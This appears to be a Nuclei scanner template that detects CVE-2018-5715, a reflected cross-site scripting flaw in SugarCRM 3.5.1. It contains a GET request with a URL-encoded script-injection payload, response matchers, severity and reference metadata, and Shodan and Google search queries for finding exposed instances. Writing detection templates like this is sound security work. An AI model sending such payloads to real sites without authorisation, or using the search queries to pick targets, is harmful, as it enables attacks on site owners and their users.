id: CVE-2018-5715 info: name: SugarCRM 3.5.1 - Cross-Site Scripting author: edoardottt severity: medium description: SugarCRM 3.5.1 is vulnerable to cross-site scripting via phprint.php and a parameter name in the query string (aka a $key variable). remediation: | Upgrade to a patched version of SugarCRM or apply the necessary security patches provided by the vendor. reference: - https://www.exploit-db.com/exploits/43683 - https://m4k4br0.github.io/sugarcrm-xss/ - https://www.exploit-db.com/exploits/43683/ - https://nvd.nist.gov/vuln/detail/CVE-2018-5715 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2018-5715 cwe-id: CWE-79 epss-score: 0.00129 epss-percentile: 0.47261 cpe: cpe:2.3:a:sugarcrm:sugarcrm:3.5.1:*:*:*:*:*:*:* metadata: max-request: 1 vendor: sugarcrm product: sugarcrm shodan-query: http.html:"SugarCRM Inc. All Rights Reserved" google-query: intext:"SugarCRM Inc. All Rights Reserved" tags: sugarcrm,xss,edb,cve,cve2018 http: - method: GET path: - "{{BaseURL}}/index.php?action=Login&module=Users&print=a&%22%2F%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E" matchers-condition: and matchers: - type: word part: body words: - '&"/>=&"><< Back

' - type: word part: header words: - "text/html" - type: status status: - 200 # digest: 4a0a00473045022100e7f032cc42249e386458931349305f25512822e5b1d863e36ff3f965761415e302206565d8f66f793361a176f85174cb69e78d003d73d344b3b86beadded3a04e32a:922c64590222798bb761d5b6d8e72950